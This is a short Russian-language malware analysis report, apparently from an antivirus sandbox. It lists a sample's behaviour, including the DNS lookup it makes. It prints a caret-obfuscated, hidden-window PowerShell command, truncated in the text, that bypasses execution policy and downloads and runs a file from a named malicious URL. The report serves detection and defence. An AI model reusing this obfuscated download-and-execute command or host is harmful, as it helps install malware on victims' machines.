Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://bestflowstou.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^o^weRSheLl.exe^ -eXecUTIO^NpO^L^i^c^Y ^BypasS -n^o^pRof^I^lE -wi^nDowS^TylE Hi^Dd^EN (nEW^-^O^B^Je^C^T^ SySTE^M^.N^eT^.W^E^b^c^L^IENT).dO^w^nLo^ADf^I^lE('http://bestflowst...
Сетевая активность
UDP
- DNS ASK be####owstou.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^o^weRSheLl.exe^ -eXecUTIO^NpO^L^i^c^Y ^BypasS -n^o^pRof^I^lE -wi^nDowS^TylE Hi^Dd^EN (nEW^-^O^B^Je^C^T^ SySTE^M^.N^eT^.W^E^b^c^L^IENT).dO^w^nLo^ADf^I^lE('http://bestflowst...' (со скрытым окном)
